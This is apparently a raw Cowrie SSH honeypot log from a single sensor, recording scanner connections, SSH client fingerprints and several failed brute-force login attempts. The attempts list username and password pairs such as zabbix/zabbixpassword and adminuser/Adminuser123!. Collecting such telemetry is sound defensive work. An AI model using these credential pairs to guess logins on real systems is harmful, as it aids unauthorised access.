{"eventid":"cowrie.session.connect","src_ip":"118.194.236.134","src_port":45588,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e43c2b76bb0","protocol":"ssh","message":"New connection: 118.194.236.134:45588 (10.17.0.5:22) [session: 3e43c2b76bb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:56:46.583111Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.30.211","src_port":51032,"dst_ip":"10.17.0.5","dst_port":22,"session":"eaa0fb93ad33","protocol":"ssh","message":"New connection: 159.65.30.211:51032 (10.17.0.5:22) [session: eaa0fb93ad33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:56:53.353061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:56:53.357220Z","src_ip":"159.65.30.211","session":"eaa0fb93ad33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:56:53.431773Z","src_ip":"159.65.30.211","session":"eaa0fb93ad33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xem","password":"xem2017","message":"login attempt [xem/xem2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:56:53.586586Z","src_ip":"159.65.30.211","session":"eaa0fb93ad33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:56:54.662781Z","src_ip":"159.65.30.211","session":"eaa0fb93ad33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.2","message":"Connection lost after 18.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:57:04.746371Z","src_ip":"118.194.236.134","session":"3e43c2b76bb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.194.236.134","src_port":33580,"dst_ip":"10.17.0.5","dst_port":22,"session":"69451e52ff7b","protocol":"ssh","message":"New connection: 118.194.236.134:33580 (10.17.0.5:22) [session: 69451e52ff7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:57:04.894382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_7.4","message":"Remote SSH version: SSH-2.0-OpenSSH_7.4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:57:04.898977Z","src_ip":"118.194.236.134","session":"69451e52ff7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"b893695067f94c8d2ed92025b192c636","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","ext-info-c"],"keyAlgs":["ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: b893695067f94c8d2ed92025b192c636","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:57:05.053400Z","src_ip":"118.194.236.134","session":"69451e52ff7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:57:05.363136Z","src_ip":"118.194.236.134","session":"69451e52ff7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.194.236.134","src_port":33586,"dst_ip":"10.17.0.5","dst_port":22,"session":"23090c26abe1","protocol":"ssh","message":"New connection: 118.194.236.134:33586 (10.17.0.5:22) [session: 23090c26abe1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:57:05.522288Z"}
{"eventid":"cowrie.client.version","version":"SSH-1.5-Server","message":"Remote SSH version: SSH-1.5-Server","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:57:05.526547Z","src_ip":"118.194.236.134","session":"23090c26abe1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:57:05.529497Z","src_ip":"118.194.236.134","session":"23090c26abe1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.249.28.115","src_port":39044,"dst_ip":"10.17.0.5","dst_port":22,"session":"12fd87e15029","protocol":"ssh","message":"New connection: 23.249.28.115:39044 (10.17.0.5:22) [session: 12fd87e15029]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:57:15.321534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:57:15.325847Z","src_ip":"23.249.28.115","session":"12fd87e15029","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:57:15.511821Z","src_ip":"23.249.28.115","session":"12fd87e15029","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testmail","password":"123456","message":"login attempt [testmail/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:57:16.286555Z","src_ip":"23.249.28.115","session":"12fd87e15029","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:57:17.473673Z","src_ip":"23.249.28.115","session":"12fd87e15029","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"301.3","message":"Connection lost after 301.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:57:35.473344Z","src_ip":"220.154.133.166","session":"29f61da30d26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:57:42.744281Z","src_ip":"111.70.1.128","session":"ace6877c8e07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.81.72.185","src_port":54120,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2d1b17ab226","protocol":"ssh","message":"New connection: 34.81.72.185:54120 (159.203.135.109:22) [session: e2d1b17ab226]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:58:03.270985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:58:03.276134Z","src_ip":"34.81.72.185","session":"e2d1b17ab226","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:58:03.468693Z","src_ip":"34.81.72.185","session":"e2d1b17ab226","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"zabbixpassword","message":"login attempt [zabbix/zabbixpassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:58:04.272341Z","src_ip":"34.81.72.185","session":"e2d1b17ab226","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:58:05.467346Z","src_ip":"34.81.72.185","session":"e2d1b17ab226","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.139.168","src_port":34928,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac6c858c26d2","protocol":"ssh","message":"New connection: 142.93.139.168:34928 (159.203.135.109:22) [session: ac6c858c26d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:58:12.605867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:58:12.610303Z","src_ip":"142.93.139.168","session":"ac6c858c26d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:58:12.685747Z","src_ip":"142.93.139.168","session":"ac6c858c26d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"polygon","password":"polygon","message":"login attempt [polygon/polygon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:58:12.840585Z","src_ip":"142.93.139.168","session":"ac6c858c26d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:58:13.917906Z","src_ip":"142.93.139.168","session":"ac6c858c26d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.249.165","src_port":35190,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb24f4cc27e2","protocol":"ssh","message":"New connection: 131.161.249.165:35190 (159.203.135.109:22) [session: cb24f4cc27e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:58:43.809080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:58:43.813321Z","src_ip":"131.161.249.165","session":"cb24f4cc27e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:58:43.937242Z","src_ip":"131.161.249.165","session":"cb24f4cc27e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"Adminuser123!","message":"login attempt [adminuser/Adminuser123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:58:44.465779Z","src_ip":"131.161.249.165","session":"cb24f4cc27e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:58:45.591757Z","src_ip":"131.161.249.165","session":"cb24f4cc27e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":54340,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f17a3b20eb3","protocol":"ssh","message":"New connection: 195.178.110.218:54340 (10.17.0.5:22) [session: 3f17a3b20eb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:58:51.307994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:58:51.312423Z","src_ip":"195.178.110.218","session":"3f17a3b20eb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:58:51.387257Z","src_ip":"195.178.110.218","session":"3f17a3b20eb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123456","message":"login attempt [sol/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:58:51.612135Z","src_ip":"195.178.110.218","session":"3f17a3b20eb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:58:52.688013Z","src_ip":"195.178.110.218","session":"3f17a3b20eb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.187.200.190","src_port":38366,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f2c66881f87","protocol":"ssh","message":"New connection: 172.187.200.190:38366 (10.17.0.5:22) [session: 8f2c66881f87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:59:59.691599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:59:59.696253Z","src_ip":"172.187.200.190","session":"8f2c66881f87","protocol":"ssh"}
